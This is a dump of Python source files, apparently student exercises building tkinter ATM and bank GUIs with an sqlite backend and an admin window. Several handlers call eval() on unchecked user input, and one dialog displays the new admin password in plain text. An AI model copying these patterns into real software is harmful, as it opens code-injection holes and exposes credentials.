self.bt_l2.unbind_all(\"<Button-1>\")\r\n self.bt_l2_t.set(\"\")\r\n self.bt_l3.unbind_all(\"<Button-1>\")\r\n self.bt_l3_t.set(\"\")\r\n self.bt_l4.unbind_all(\"<Button-1>\")\r\n self.bt_l4_t.set(\"\")\r\n self.bt_r1.unbind_all(\"<Button-1>\")\r\n self.bt_r1_t.set(\"\")\r\n self.bt_r2.unbind_all(\"<Button-1>\")\r\n self.bt_r2_t.set(\"\")\r\n self.bt_r3.unbind_all(\"<Button-1>\")\r\n self.bt_r3_t.set(\"\")\r\n self.bt_r4.unbind_all(\"<Button-1>\")\r\n self.bt_r4_t.set(\"\")\r\n self.bt_b1.unbind_all(\"<Button-1>\")\r\n self.bt_b1_t.set(\"\")\r\n\r\n def set_color(self, card_number, balance, bg_col_name=None, font_col_name=None):\r\n if bg_col_name is not None:\r\n bg_col = self.color_dict[bg_col_name]\r\n self.background_color = bg_col\r\n self.screen_m.config(bg=self.background_color)\r\n else:\r\n font_col = self.color_dict[font_col_name]\r\n self.font_color = font_col\r\n self.page_count(card_number, balance)\r\n\r\n def page_building(self):\r\n self.clear_page()\r\n self.bt_r4_t.set(\"返回\")\r\n self.set_fnc(\"r4\", lambda event: self.page_home())\r\n lb1 = tkinter.Label(self.screen_m,\r\n text=\"功能即将到来,敬请期待\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"n\")\r\n lb1.place(x=250, y=10)\r\n self.widget_list.append(lb1)\r\n\r\n def page_home(self):\r\n self.clear_page()\r\n self.bt_l1_t.set(\"开户\")\r\n self.set_fnc(\"l1\", lambda event: self.page_open_count())\r\n self.bt_l2_t.set(\"解锁\")\r\n self.set_fnc(\"l2\", lambda event: self.page_unfreeze_card())\r\n self.bt_l3_t.set(\"补卡\")\r\n self.set_fnc(\"l3\", lambda event: self.page_building())\r\n s = \"\"\"\r\n *************************************\r\n * *\r\n * 欢迎使用神马银行ATM机 *\r\n * *\r\n * *\r\n *************************************\r\n \"\"\"\r\n self.screen_t.set(s)\r\n lb1 = tkinter.Label(self.screen_m,\r\n textvariable=self.screen_t,\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"center\")\r\n lb1.place(y=200)\r\n self.widget_list.append(lb1)\r\n\r\n e1 = tkinter.Entry(self.screen_b, font=(\"黑体\", 12))\r\n e1.place(x=550, y=35)\r\n self.widget_list.append(e1)\r\n\r\n self.bt_b1_t.set(\"请放入你的银行卡\")\r\n self.set_fnc(\"b1\",\r\n lambda event: self.fnc_read_cord(eval(e1.get()) if e1.get().isdigit() else None))\r\n\r\n def page_open_count(self):\r\n self.clear_page()\r\n self.bt_r4_t.set(\"返回\")\r\n self.set_fnc(\"r4\", lambda event: self.page_home())\r\n lb1 = tkinter.Label(self.screen_m,\r\n text=\"请输入您的个人信息\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"n\")\r\n lb1.place(x=250, y=10)\r\n self.widget_list.append(lb1)\r\n\r\n lb2 = tkinter.Label(self.screen_m,\r\n text=\"姓名:\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"n\")\r\n lb2.place(x=240, y=100)\r\n self.widget_list.append(lb2)\r\n e1 = tkinter.Entry(self.screen_m, font=(\"黑体\", 12))\r\n e1.place(x=300, y=105)\r\n self.widget_list.append(e1)\r\n\r\n lb3 = tkinter.Label(self.screen_m,\r\n text=\"身份证号:\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"n\")\r\n lb3.place(x=200, y=130)\r\n self.widget_list.append(lb3)\r\n e2 = tkinter.Entry(self.screen_m, font=(\"黑体\", 12))\r\n e2.place(x=300, y=135)\r\n self.widget_list.append(e2)\r\n\r\n lb4 = tkinter.Label(self.screen_m,\r\n text=\"联系方式:\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"n\")\r\n lb4.place(x=200, y=160)\r\n self.widget_list.append(lb4)\r\n e3 = tkinter.Entry(self.screen_m, font=(\"黑体\", 12))\r\n e3.place(x=300, y=165)\r\n self.widget_list.append(e3)\r\n\r\n lb5 = tkinter.Label(self.screen_m,\r\n text=\"住址:\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"n\")\r\n lb5.place(x=240, y=190)\r\n self.widget_list.append(lb5)\r\n # **************\r\n e4 = ttk.Combobox(self.screen_m)\r\n e4[\"value\"] = (\"北京\", \"天津\", \"河北\", \"内蒙古\",\r\n \"辽宁\", \"吉林\", \"黑龙江\", \"上海\",\r\n \"江苏\", \"浙江\", \"安徽\", \"福建\", \"江西\",\r\n \"山东\", \"河南\", \"湖北\", \"湖南\", \"广东\",\r\n \"广西\", \"海南\", \"重庆\", \"四川\", \"贵州\",\r\n \"云南\", \"西藏\", \"陕西\", \"甘肃\", \"青海\",\r\n \"宁夏\", \"新疆\", \"香港\", \"澳门\", \"台湾\",\r\n \"具体的我就不写了。。。\")\r\n e4.current(0)\r\n e4.place(x=300, y=195)\r\n self.widget_list.append(e4)\r\n # **************\r\n # e4 = tkinter.Entry(self.screen_m, font=(\"黑体\", 12))\r\n # e4.place(x=300, y=195)\r\n # self.widget_list.append(e4)\r\n\r\n lb6 = tkinter.Label(self.screen_m,\r\n text=\"设置密码:\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"n\")\r\n lb6.place(x=200, y=220)\r\n self.widget_list.append(lb6)\r\n e5 = tkinter.Entry(self.screen_m, font=(\"黑体\", 12))\r\n e5.place(x=300, y=225)\r\n self.widget_list.append(e5)\r\n\r\n bt1 = tkinter.Button(self.screen_m, text=\"提交\", width=10, height=1, font=(\"黑体\", 15))\r\n bt1.place(x=290, y=255)\r\n bt1.bind(\"<Button-1>\",\r\n lambda event: self.fnc_open_count(e1.get(), e2.get(), e3.get(), e4.get(), eval(e5.get()) if e5.get().isdigit() else None))\r\n self.widget_list.append(bt1)\r\n\r\n lb7 = tkinter.Label(self.screen_m,\r\n text=\"请及时向前台提交纸质资料!\",\r\n bg=self.background_color, fg=\"red\",\r\n font=(\"黑体\", 15),\r\n anchor=\"n\")\r\n lb7.place(x=220, y=290)\r\n self.widget_list.append(lb7)\r\n\r\n def page_login(self, card_number: int):\r\n self.clear_page()\r\n self.bt_b1_t.set(\"退卡\")\r\n self.set_fnc(\"b1\", lambda event: self.fnc_refund_card())\r\n\r\n lb1 = tkinter.Label(self.screen_m,\r\n text=\"读取成功\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"ne\")\r\n lb1.place(x=20, y=20)\r\n self.widget_list.append(lb1)\r\n\r\n lb2 = tkinter.Label(self.screen_m,\r\n text=\"请输入密码:\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"ne\")\r\n lb2.place(x=200, y=260)\r\n self.widget_list.append(lb2)\r\n e1 = tkinter.Entry(self.screen_m, font=(\"黑体\", 12))\r\n e1.place(x=330, y=265)\r\n self.widget_list.append(e1)\r\n\r\n bt1 = tkinter.Button(self.screen_m,\r\n text=\"确认\",\r\n font=(\"黑体\", 12),\r\n width=10, height=2)\r\n bt1.place(x=320, y=330)\r\n bt1.bind(\"<Button-1>\",\r\n lambda event: self.fnc_login(card_number, e1.get()))\r\n self.widget_list.append(bt1)\r\n\r\n def page_count(self, card_number: int, balance: float):\r\n self.clear_page()\r\n self.bt_b1_t.set(\"退卡\")\r\n self.set_fnc(\"b1\", lambda event: self.fnc_refund_card())\r\n\r\n self.bt_l1_t.set(\"取款\")\r\n self.bt_l1.bind(\"<Button-1>\",\r\n lambda event: self.page_withdrawal(card_number, balance))\r\n self.bt_l2_t.set(\"存款\")\r\n self.bt_l2.bind(\"<Button-1>\",\r\n lambda event: self.page_deposit(card_number, balance))\r\n self.bt_l3_t.set(\"转账\")\r\n self.bt_l3.bind(\"<Button-1>\",\r\n lambda event: self.page_transfer_accounts(card_number, balance))\r\n self.bt_l4_t.set(\"改密\")\r\n self.bt_l4.bind(\"<Button-1>\",\r\n lambda event: self.page_change_password(card_number, balance))\r\n self.bt_r1_t.set(\"锁定\")\r\n self.bt_r1.bind(\"<Button-1>\",\r\n lambda event: self.page_freeze_card(card_number, balance))\r\n self.bt_r2_t.set(\"销户\")\r\n self.bt_r2.bind(\"<Button-1>\",\r\n lambda event: self.page_account_cancellation(card_number, balance))\r\n\r\n lb1 = tkinter.Label(self.screen_m,\r\n text=\"卡号:%d 账户余额:%.2f\" % (card_number, balance),\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"ne\")\r\n lb1.place(x=20, y=20)\r\n self.widget_list.append(lb1)\r\n\r\n lb2 = tkinter.Label(self.screen_m,\r\n text=\"请选择功能\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"center\")\r\n lb2.place(x=290, y=270)\r\n self.widget_list.append(lb2)\r\n\r\n lb2 = tkinter.Label(self.screen_m,\r\n text=\"设置背景颜色:\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"n\")\r\n lb2.place(x=200, y=350)\r\n self.widget_list.append(lb2)\r\n e2 = ttk.Combobox(self.screen_m)\r\n e2[\"value\"] = self.color_name\r\n for index, s in enumerate(self.color_name):\r\n if self.color_dict[s] == self.background_color:\r\n e2.current(index)\r\n e2.place(x=340, y=350)\r\n e2.bind(\"<<ComboboxSelected>>\", lambda event: self.set_color(card_number, balance, bg_col_name=e2.get()))\r\n self.widget_list.append(e2)\r\n\r\n lb3 = tkinter.Label(self.screen_m,\r\n text=\"设置字体颜色:\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"n\")\r\n lb3.place(x=200, y=380)\r\n self.widget_list.append(lb3)\r\n e3 = ttk.Combobox(self.screen_m)\r\n e3[\"value\"] = self.color_name\r\n for index, s in enumerate(self.color_name):\r\n if self.color_dict[s] == self.font_color:\r\n e3.current(index)\r\n e3.place(x=340, y=380)\r\n e3.bind(\"<<ComboboxSelected>>\", lambda event: self.set_color(card_number, balance, font_col_name=e3.get()))\r\n self.widget_list.append(e3)\r\n\r\n def page_withdrawal(self, card_number, balance):\r\n self.clear_page()\r\n self.bt_b1_t.set(\"退卡\")\r\n self.set_fnc(\"b1\", lambda event: self.fnc_refund_card())\r\n self.bt_r4_t.set(\"返回\")\r\n self.set_fnc(\"r4\", lambda event: self.page_count(card_number, balance))\r\n\r\n lb1 = tkinter.Label(self.screen_m,\r\n text=\"卡号:%d 账户余额:%.2f\" % (card_number, balance),\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"ne\")\r\n lb1.place(x=20, y=20)\r\n self.widget_list.append(lb1)\r\n\r\n lb2 = tkinter.Label(self.screen_m,\r\n text=\"请输入取款金额:\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"ne\")\r\n lb2.place(x=180, y=260)\r\n self.widget_list.append(lb2)\r\n e1 = tkinter.Entry(self.screen_m, font=(\"黑体\", 12))\r\n e1.place(x=350, y=263)\r\n self.widget_list.append(e1)\r\n bt1 = tkinter.Button(self.screen_m,\r\n text=\"确认\",\r\n font=(\"黑体\", 12),\r\n width=10, height=2)\r\n bt1.place(x=320, y=330)\r\n bt1.bind(\"<Button-1>\",\r\n lambda event: self.fnc_withdrawal(event, eval(e1.get())))\r\n self.widget_list.append(bt1)\r\n\r\n def page_deposit(self, card_number, balance):\r\n self.clear_page()\r\n self.bt_b1_t.set(\"退卡\")\r\n self.set_fnc(\"b1\", lambda event: self.fnc_refund_card())\r\n self.bt_r4_t.set(\"返回\")\r\n self.bt_r4.bind(\"<Button-1>\",\r\n lambda event: self.page_count(card_number, balance))\r\n\r\n lb1 = tkinter.Label(self.screen_m,\r\n text=\"卡号:%d 账户余额:%.2f\" % (card_number, balance),\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"ne\")\r\n lb1.place(x=20, y=20)\r\n self.widget_list.append(lb1)\r\n\r\n lb2 = tkinter.Label(self.screen_m,\r\n text=\"请将现金放入下边现金槽中。\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"center\")\r\n lb2.place(x=210, y=260)\r\n self.widget_list.append(lb2)\r\n e1 = tkinter.Entry(self.screen_b, font=(\"黑体\", 12))\r\n e1.place(x=250, y=35)\r\n self.widget_list.append(e1)\r\n bt1 = tkinter.Button(self.screen_b,\r\n text=\"确认\",\r\n font=(\"黑体\", 12),\r\n width=10, height=2)\r\n bt1.place(x=450, y=25)\r\n bt1.bind(\"<Button-1>\",\r\n lambda event: self.fnc_deposit(eval(e1.get())))\r\n self.widget_list.append(bt1)\r\n\r\n def page_transfer_accounts(self, card_number: int, balance: float):\r\n self.clear_page()\r\n self.bt_b1_t.set(\"退卡\")\r\n self.set_fnc(\"b1\", lambda event: self.fnc_refund_card())\r\n self.bt_r4_t.set(\"返回\")\r\n self.bt_r4.bind(\"<Button-1>\",\r\n lambda event: self.page_count(card_number, balance))\r\n\r\n lb1 = tkinter.Label(self.screen_m,\r\n text=\"卡号:%d 账户余额:%.2f\" % (card_number, balance),\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"ne\")\r\n lb1.place(x=20, y=20)\r\n self.widget_list.append(lb1)\r\n\r\n lb2 = tkinter.Label(self.screen_m,\r\n text=\"请输入对方卡号:\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"ne\")\r\n lb2.place(x=180, y=240)\r\n self.widget_list.append(lb2)\r\n e1 = tkinter.Entry(self.screen_m, font=(\"黑体\", 12))\r\n e1.place(x=350, y=243)\r\n self.widget_list.append(e1)\r\n\r\n lb3 = tkinter.Label(self.screen_m,\r\n text=\"请输入转账金额:\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"ne\")\r\n lb3.place(x=180, y=270)\r\n self.widget_list.append(lb3)\r\n e2 = tkinter.Entry(self.screen_m, font=(\"黑体\", 12))\r\n e2.place(x=350, y=273)\r\n self.widget_list.append(e2)\r\n\r\n bt1 = tkinter.Button(self.screen_m,\r\n text=\"确认\",\r\n font=(\"黑体\", 12),\r\n width=10, height=2)\r\n bt1.place(x=300, y=310)\r\n bt1.bind(\"<Button-1>\",\r\n lambda event: self.fnc_transfer_accounts(eval(e1.get()), eval(e2.get())))\r\n self.widget_list.append(bt1)\r\n\r\n def page_change_password(self, card_number, balance):\r\n self.clear_page()\r\n self.bt_b1_t.set(\"退卡\")\r\n self.set_fnc(\"b1\", lambda event: self.fnc_refund_card())\r\n self.bt_r4_t.set(\"返回\")\r\n self.set_fnc(\"r4\", lambda event: self.page_count(card_number, balance))\r\n\r\n lb1 = tkinter.Label(self.screen_m,\r\n text=\"卡号:%d 账户余额:%.2f\" % (card_number, balance),\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"ne\")\r\n lb1.place(x=20, y=20)\r\n self.widget_list.append(lb1)\r\n\r\n lb2 = tkinter.Label(self.screen_m,\r\n text=\" 请输入旧密码:\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"ne\")\r\n lb2.place(x=180, y=240)\r\n self.widget_list.append(lb2)\r\n e1 = tkinter.Entry(self.screen_m, font=(\"黑体\", 12))\r\n e1.place(x=350, y=243)\r\n self.widget_list.append(e1)\r\n\r\n lb3 = tkinter.Label(self.screen_m,\r\n text=\" 请输入新密码:\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"ne\")\r\n lb3.place(x=180, y=270)\r\n self.widget_list.append(lb3)\r\n e2 = tkinter.Entry(self.screen_m, font=(\"黑体\", 12))\r\n e2.place(x=350, y=273)\r\n self.widget_list.append(e2)\r\n\r\n bt1 = tkinter.Button(self.screen_m,\r\n text=\"确认\",\r\n font=(\"黑体\", 12),\r\n width=10, height=2)\r\n bt1.place(x=300, y=310)\r\n bt1.bind(\"<Button-1>\",\r\n lambda event: self.fnc_change_password( eval(e1.get()), eval(e2.get()) ))\r\n self.widget_list.append(bt1)\r\n\r\n def page_freeze_card(self, card_number, balance):\r\n self.clear_page()\r\n self.bt_b1_t.set(\"退卡\")\r\n self.set_fnc(\"b1\", lambda event: self.fnc_refund_card())\r\n self.bt_r4_t.set(\"返回\")\r\n self.set_fnc(\"r4\", lambda event: self.page_count(card_number, balance))\r\n\r\n lb1 = tkinter.Label(self.screen_m,\r\n text=\"卡号:%d 账户余额:%.2f\" % (card_number, balance),\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"ne\")\r\n lb1.place(x=20, y=20)\r\n self.widget_list.append(lb1)\r\n lb2 = tkinter.Label(self.screen_m,\r\n text=\"点击“确定”冻结银行卡\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"center\")\r\n lb2.place(x=230, y=270)\r\n self.widget_list.append(lb2)\r\n\r\n bt1 = tkinter.Button(self.screen_m,\r\n text=\"确认\",\r\n font=(\"黑体\", 12),\r\n width=10, height=2)\r\n bt1.place(x=300, y=310)\r\n bt1.bind(\"<Button-1>\",\r\n lambda event: self.fnc_freeze_card())\r\n self.widget_list.append(bt1)\r\n\r\n def page_account_cancellation(self, card_number, balance):\r\n self.clear_page()\r\n self.bt_b1_t.set(\"退卡\")\r\n self.set_fnc(\"b1\", lambda event: self.fnc_refund_card())\r\n self.bt_r4_t.set(\"返回\")\r\n self.set_fnc(\"r4\", lambda event: self.page_count(card_number, balance))\r\n\r\n lb1 = tkinter.Label(self.screen_m,\r\n text=\"卡号:%d 账户余额:%.2f\" % (card_number, balance),\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"ne\")\r\n lb1.place(x=20, y=20)\r\n self.widget_list.append(lb1)\r\n\r\n lb2 = tkinter.Label(self.screen_m,\r\n text=\"点击“确定”进行销户\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"center\")\r\n lb2.place(x=230, y=270)\r\n self.widget_list.append(lb2)\r\n bt1 = tkinter.Button(self.screen_m,\r\n text=\"确认\",\r\n font=(\"黑体\", 12),\r\n width=10, height=2)\r\n bt1.place(x=300, y=310)\r\n bt1.bind(\"<Button-1>\",\r\n lambda event: self.fnc_account_cancellation())\r\n self.widget_list.append(bt1)\r\n\r\n def page_unfreeze_card(self):\r\n self.clear_page()\r\n self.bt_r4_t.set(\"返回\")\r\n self.set_fnc(\"r4\", lambda event: self.page_home())\r\n\r\n lb1 = tkinter.Label(self.screen_m,\r\n text=\"请输入解冻卡号:\",\r\n bg=self.background_color, fg=self.font_color,\r\n font=(\"黑体\", 15),\r\n anchor=\"ne\")\r\n lb1.place(x=180, y=260)\r\n self.widget_list.append(lb1)\r\n e1 = tkinter.Entry(self.screen_m, font=(\"黑体\", 12))\r\n e1.place(x=350, y=263)\r\n self.widget_list.append(e1)\r\n bt1 = tkinter.Button(self.screen_m,\r\n text=\"确认\",\r\n font=(\"黑体\", 12),\r\n width=10, height=2)\r\n bt1.place(x=320, y=330)\r\n bt1.bind(\"<Button-1>\",\r\n lambda event: self.fnc_unfreeze_card(eval(e1.get())))\r\n self.widget_list.append(bt1)\r\n\r\n def page_card_reissue(self):\r\n self.clear_page()\r\n pass\r\n\r\n def loop(self):\r\n self.main_window.mainloop()\r\n pass\r\n\r\n def __new__(cls, *args, **kwargs):\r\n if not hasattr(cls, \"instance\"):\r\n cls.instance = super(ATMGui, cls).__new__(cls)\r\n return cls.instance\r\n\r\n\r\nclass OPGui(object):\r\n pass\r\n\r\n\r\n# 测试用\r\ndef dfnc():\r\n pass\r\n\r\n\r\nif __name__ == '__main__':\r\n gui = ATMGui(dfnc, dfnc, dfnc, dfnc, dfnc, dfnc, dfnc, dfnc, dfnc, dfnc, dfnc, dfnc)\r\n # gui.page_home()\r\n # gui.page_open_count()\r\n gui.page_count(10000000, 15)\r\n # gui.page_withdrawal(10000000, 15)\r\n # gui.page_deposit(10000000, 15)\r\n # gui.page_change_password(10000000, 15)\r\n # gui.page_transfer_accounts(10000000, 15)\r\n # gui.page_freeze_card(10000000, 15)\r\n gui.loop()\r\n pass\r\n" }, { "alpha_fraction": 0.5451505184173584, "alphanum_fraction": 0.5618728995323181, "avg_line_length": 13.736842155456543, "blob_id": "2998d8fcb2b96987aebae59f886e64766ea54381", "content_id": "560a1205dccbb50325897a2243bd3ba6332cf977", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 353, "license_type": "permissive", "max_line_length": 55, "num_lines": 19, "path": "/py-basis/各组银行系统带界面/第一组/tkinter银行系统/main.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "# -*- coding:utf-8 -*-\r\nimport sqlite3\r\n\r\nfrom Views.view_win1 import MyApp\r\n\r\n'''\r\n第一次运行先执行以下 Model/sqlite_datas.py文件\r\n'''\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n db = sqlite3.connect('Model/bank.db') # 连接到sqlite3\r\n\r\n app = MyApp(db) # 实例化主窗口对象\r\n\r\n app.mainloop()\r\n\r\n db.close() # 关闭连接\r\n" }, { "alpha_fraction": 0.4705815613269806, "alphanum_fraction": 0.4985829293727875, "avg_line_length": 34.90795135498047, "blob_id": "fd084264a617c094622cf2b263d3b339a58aba34", "content_id": "3d95edb7dac4fc416d949d9f9f1bd259f61b3c0e", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9489, "license_type": "permissive", "max_line_length": 143, "num_lines": 239, "path": "/py-basis/各组银行系统带界面/第六组/rootView.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "import tkinter as tk\r\nfrom tkinter import Frame, Label, W, E, Button, LEFT, RIGHT, BOTH, YES, NO, TOP, Variable,messagebox\r\nfrom singleton import singletonDeco\r\nfrom atm import ATM\r\nfrom tkinter import *\r\nimport atmInitView\r\n\r\nimport math, sys, time\r\n\r\natm = ATM()\r\n'''松耦合'''\r\n# 返回*********************************************************************************\r\nclass BackDialog(tk.Toplevel):\r\n def __init__(self):\r\n super().__init__()\r\n self.title('是否返回')\r\n self.isback = 0\r\n # 弹窗界面\r\n\r\n def setup_UI(self):\r\n # 第一行(两列)\r\n self.geometry(\"300x150+810+320\")\r\n\r\n row1 = tk.Frame(self)\r\n row1.pack(side=TOP, pady=20)\r\n Label(row1, text=\"是否返回初始界面?\", font=(\"宋体\", 15), width=30).pack(side=TOP)\r\n\r\n row3 = tk.Frame(self)\r\n row3.pack(side=TOP, pady=20)\r\n tk.Button(row3, text=\"取消\", width=10, command=self.cancel).pack(side=tk.RIGHT, padx=20)\r\n tk.Button(row3, text=\"确定\", width=10, command=self.ok).pack(side=tk.LEFT, padx=40)\r\n def ok(self):\r\n self.destroy()\r\n self.isback = 1\r\n def cancel(self):\r\n self.destroy()\r\n\r\n\r\n# 改密*********************************************************************************\r\nclass changePasswdDialog(tk.Toplevel):\r\n def __init__(self):\r\n super().__init__()\r\n self.title('加钞输入框')\r\n # 弹窗界面\r\n\r\n def setup_UI(self):\r\n self.geometry(\"350x200+790+300\")\r\n self.tip = tk.StringVar()\r\n self.old_passwd = tk.StringVar()\r\n\r\n # 第一行(两列)\r\n row1 = tk.Frame(self)\r\n row1.pack(side=TOP, pady=5)\r\n Label(row1, textvariable=self.tip, font=(\"宋体\", 10), width=30).pack(side=TOP,pady=5)\r\n tk.Label(row1, text='管理员原密码:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n tk.Entry(row1, textvariable=self.old_passwd, width=20, show=\"*\").pack(side=tk.LEFT)\r\n\r\n # 第二行\r\n row2 = tk.Frame(self)\r\n row2.pack(side=TOP, pady=5)\r\n tk.Label(row2, text='管理员新密码:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n self.new_passwd1 = tk.StringVar()\r\n tk.Entry(row2, textvariable=self.new_passwd1, width=20, show=\"*\").pack(side=tk.LEFT)\r\n\r\n # 第三行\r\n row3 = tk.Frame(self)\r\n row3.pack(side=TOP, pady=5)\r\n tk.Label(row3, text='再次确认新密码:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT)\r\n self.new_passwd2 = tk.StringVar()\r\n tk.Entry(row3, textvariable=self.new_passwd2, width=20, show=\"*\").pack(side=tk.LEFT)\r\n\r\n # 第四行\r\n row4 = tk.Frame(self)\r\n row4.pack(side=TOP, pady=10)\r\n tk.Button(row4, text=\"取消\", width=10, command=self.cancel).pack(side=tk.RIGHT, padx=20)\r\n tk.Button(row4, text=\"确定\", width=10, command=self.ok).pack(side=tk.LEFT, padx=40)\r\n\r\n def ok(self):\r\n # print(atm.passwd,self.old_passwd.get())\r\n if self.old_passwd.get() != \"\":\r\n if atm.passwd != self.old_passwd.get():\r\n self.tip.set(\"原密码输入错误!\")\r\n else:\r\n if self.new_passwd1.get() != \"\":\r\n if self.new_passwd1.get() != self.new_passwd2.get():\r\n self.tip.set(\"新密码两次输入不一致!\")\r\n else:\r\n atm.passwd = self.new_passwd1.get()\r\n messge = messagebox.askokcancel(\"消息框\", \"密码修改成功!请牢记新密码:%s\" % atm.passwd)\r\n try:\r\n self.wait_window(messge)\r\n except:\r\n pass\r\n self.destroy()\r\n else:\r\n self.tip.set(\"新密码不能为空!\")\r\n\r\n else:\r\n self.tip.set(\"原密码不能为空!\")\r\n\r\n self.old_passwd.set(\"\")\r\n self.new_passwd1.set(\"\")\r\n self.new_passwd2.set(\"\")\r\n\r\n def cancel(self):\r\n self.destroy()\r\n\r\n# 加钞*********************************************************************************\r\nclass InputDialog(tk.Toplevel):\r\n def __init__(self):\r\n super().__init__()\r\n self.title('提款输入框')\r\n # 弹窗界面\r\n\r\n def setup_UI(self):\r\n # 第一行(两列)\r\n self.geometry(\"350x200+790+320\")\r\n self.tip = tk.StringVar()\r\n\r\n row1 = tk.Frame(self)\r\n row1.pack(side=TOP, pady=30)\r\n Label(row1, textvariable=self.tip, font=(\"宋体\", 10), width=30).pack(side=TOP)\r\n tk.Label(row1, text='请输入添加款数:', font=(\"宋体\", 10), width=15).pack(side=tk.LEFT, pady=5)\r\n self.money = tk.StringVar()\r\n tk.Entry(row1, textvariable=self.money, width=20).pack(side=tk.LEFT) # 第二行\r\n row3 = tk.Frame(self)\r\n row3.pack(side=TOP, pady=20)\r\n tk.Button(row3, text=\"取消\", width=10, command=self.cancel).pack(side=tk.RIGHT, padx=20)\r\n tk.Button(row3, text=\"确定\", width=10, command=self.ok).pack(side=tk.LEFT, padx=40)\r\n def ok(self):\r\n try:\r\n acount = float(self.money.get())\r\n math.sqrt(acount)\r\n atm.money += acount\r\n # print(atm.money)\r\n messge = messagebox.askokcancel(\"消息框\", \"加钞成功!当前机器余额:%.2f\" % atm.money)\r\n try:\r\n self.wait_window(messge)\r\n except:\r\n pass\r\n self.destroy()\r\n except Exception as e:\r\n self.tip.set(\"款数输入错误!请重新输入\")\r\n self.money.set(\"\")\r\n\r\n def cancel(self):\r\n self.destroy()\r\n\r\n\r\n# 主窗******************************************************************************************\r\n\r\nclass RootLoginView(tk.Tk):\r\n def __init__(self):\r\n super().__init__()\r\n\r\n def setupRootLoginUI(self):\r\n # self.pack() # 若继承 tk.Frame ,此句必须有!\r\n self.title('管理员操作界面')\r\n self.geometry(\"900x600+500+150\")\r\n # 程序参数/数据\r\n self.tipVar = Variable()\r\n self.tipVar.set(\"当前ATM机内余额为:%.2f\" % atm.money)\r\n self.resizable(width=False, height=False)\r\n # 使用Frame增加一层容器\r\n\r\n fm1 = Frame(self)\r\n fm2 = Frame(self)\r\n fm3 = Frame(self)\r\n\r\n # img_gif = PhotoImage(file=\"1.gif\")\r\n # lable_img = Label(self, image=img_gif,z_index =-99)\r\n # lable_img.pack()\r\n\r\n button_image_gif3 = PhotoImage(file=\"提额.gif\")\r\n Button(fm1, text='加钞', font=(\"宋体\", 15),image=button_image_gif3, width=190, height=45, command=self.addCharge).pack(side=TOP, anchor=W,\r\n expand=NO)\r\n button_image_gif4 = PhotoImage(file=\"改密按钮.gif\")\r\n Button(fm1, text='改密', font=(\"宋体\", 15), image=button_image_gif4, width=190, height=45, command=self.modPasswd).pack(side=TOP, anchor=W,\r\n expand=NO, pady=80)\r\n fm1.pack(side=LEFT, fill=BOTH, expand=YES, pady=150)\r\n\r\n Label(fm3, text=\"欢迎进入sunck银行管理员操作界面,非管理员请勿操作!谢谢合作!\",\r\n font=(\"宋体\", 15), width=30, height=7, wraplength=350).pack(side=TOP)\r\n Label(fm3, textvariable=self.tipVar, font=(\"宋体\", 15), width=30, height=10).pack(side=TOP)\r\n fm3.pack(side=LEFT, fill=BOTH, expand=YES)\r\n\r\n button_image_gif5 = PhotoImage(file=\"关机按钮.gif\")\r\n Button(fm2, text='关机', font=(\"宋体\", 15), image=button_image_gif5, width=190, height=45, command=self.shutdown).pack(side=TOP, anchor=E,\r\n expand=NO)\r\n button_image_gif6 = PhotoImage(file=\"返回按钮.gif\")\r\n Button(fm2, text='返回', font=(\"宋体\", 15), image=button_image_gif6, width=190, height=45, command=self.back).pack(side=TOP, anchor=E,\r\n expand=NO, pady=80)\r\n 